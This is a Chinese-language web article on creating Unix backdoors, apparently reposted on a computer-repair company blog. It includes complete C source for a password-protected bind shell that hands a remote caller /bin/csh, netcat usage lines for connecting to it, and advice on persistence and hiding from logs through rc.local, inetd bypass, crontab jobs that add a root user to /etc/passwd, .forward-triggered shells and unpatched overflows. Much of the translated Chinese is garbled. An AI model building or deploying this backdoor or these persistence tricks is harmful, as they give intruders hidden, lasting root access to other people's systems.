如何创建后门
other action just l1ke before;
Usage: (exp:binding to in.rlogind (513))
nc target 513 //spam a shell on the high port;
nc target 54321
ur passwd
(then u coming in...)
----Cut Here-------------------------------------
/*
* [ b i n d - s h e l l ]
* by
* zer9[FTT]
* zer9@21cn.com
*test on slackware 2.0.33&irix6.4(cc)
*cc backdoor.c -o backdoor
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m
*c0mm4nd l1n3: backdoor [port]
*d3fault p0rt 1s: 54321
*greets to b4b0 for his b4b0.c
*m4yb3 1 c0uld s4y:
*"0k,b4b0.l1st3n c4r3fully;"
*s0rry,just a joke.
*
*/
#include
#include
#include
#include
#include
#include
#include
#define PassWord "k1n90fth3w0rld"
/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */
#define DefaultPort 54321
/* d3f4ult b1nd1ng p0rt */
int main(int argc,char **argv)
{
int s,in_s;
struct sockaddr_in server,client;
int client_len,bindport;
char recvbuf[1000];
if(argc!=2) bindport=DefaultPort;
else
bindport=atoi(argv[1]);
if((s=socket(AF_INET,SOCK_STREAM,0))<0)
{
perror("socket");
return -1;
}
bzero((char *)&server,sizeof(server));
bzero((char *)&client,sizeof(client));
bzero(recvbuf,sizeof(recvbuf));
server.sin_family=AF_INET;
server.sin_port=htons(bindport);
server.sin_addr.s_addr=INADDR_ANY;
if(bind(s,(struct sockaddr *)&server,sizeof(server))<0)
{
perror("bind");
return -1;
}
if(listen(s,3)!=0)
{
perror("listen");
return -1;
}
client_len=sizeof(client);
if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0)
{
perror("accept");
return -1;
}
recv(in_s,recvbuf,sizeof(recvbuf),0);
sleep(1);
if((strlen(recvbuf)-1)==strlen(PassWord))
if(!strncmp(recvbuf,PassWord,strlen(PassWord)))
{
send(in_s,"0k4y! c0m1ng 1n...\n",25,0);
close(0);close(1);close(2);
dup2(in_s,0);dup2(in_s,1);dup2(in_s,2);
execl("/bin/csh","/bin/csh",(char *)0);
}
close(s);
close(in_s);
return 0;
}
----Cut Here-------------------------------------------------
用上面的方法都不能完全的避开syslogd,因为他们都是由inetd 启动的,inetd启动它们的同时曾经举行log 了;旁路失inetd就能完全避开syslog!方法很简单,只要间接在命令行间接启动例程2(c)就可以了,(1perl不行);不过这样很麻烦;一旦ADM关失计算机就玩完了;比较好的方法是在 /etc/rc.d/rc.local中参加:
backdoor &
但纵然这样作了,每次用过后还要再起动一次;更好的方法是写一个具有完全功能(后门功能^o^)的daemon,彻底的解决这个问题;但这样做与hack inetd 那样更有效率(宁静)了?
--
8.第八种武器就是 crontab
我只晓得原理,没理论过.每到一定时间就往 /etc/passwd 中参加一条uid为0(root)
的用户;时间一道就delete ,或创立suid's shell...在序言中提到的文章中有细致介绍;
--
9.有没有想过只要向系统的一个用户发一个email,OS 就会spam出一个shell?使用用户的home目次下的 .forward 可作到这一点。
--
10。修改内核--超级妙手的做法;2.2.0的解压文件到达了50几MB,看到就头痛。接着就 jmp ffff0 :) (不是看到内容,而是看到大小);[THC]最近出了篇文章关于这个的。你对本身有决心的话可以看看;
--
11.还有就是使用 overflow 步伐,虽然我们一样平常是使用它取得root;但只要 ADM && u 没有 patch ,一直我们可以使用它的,与suid差别的是它不怕被 find / -perm 4000 发明;一样平常只要 tripwire可发明。
---------
我所晓得的方法全部坦白完了
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|
下一篇: Serv-u6.0提权新招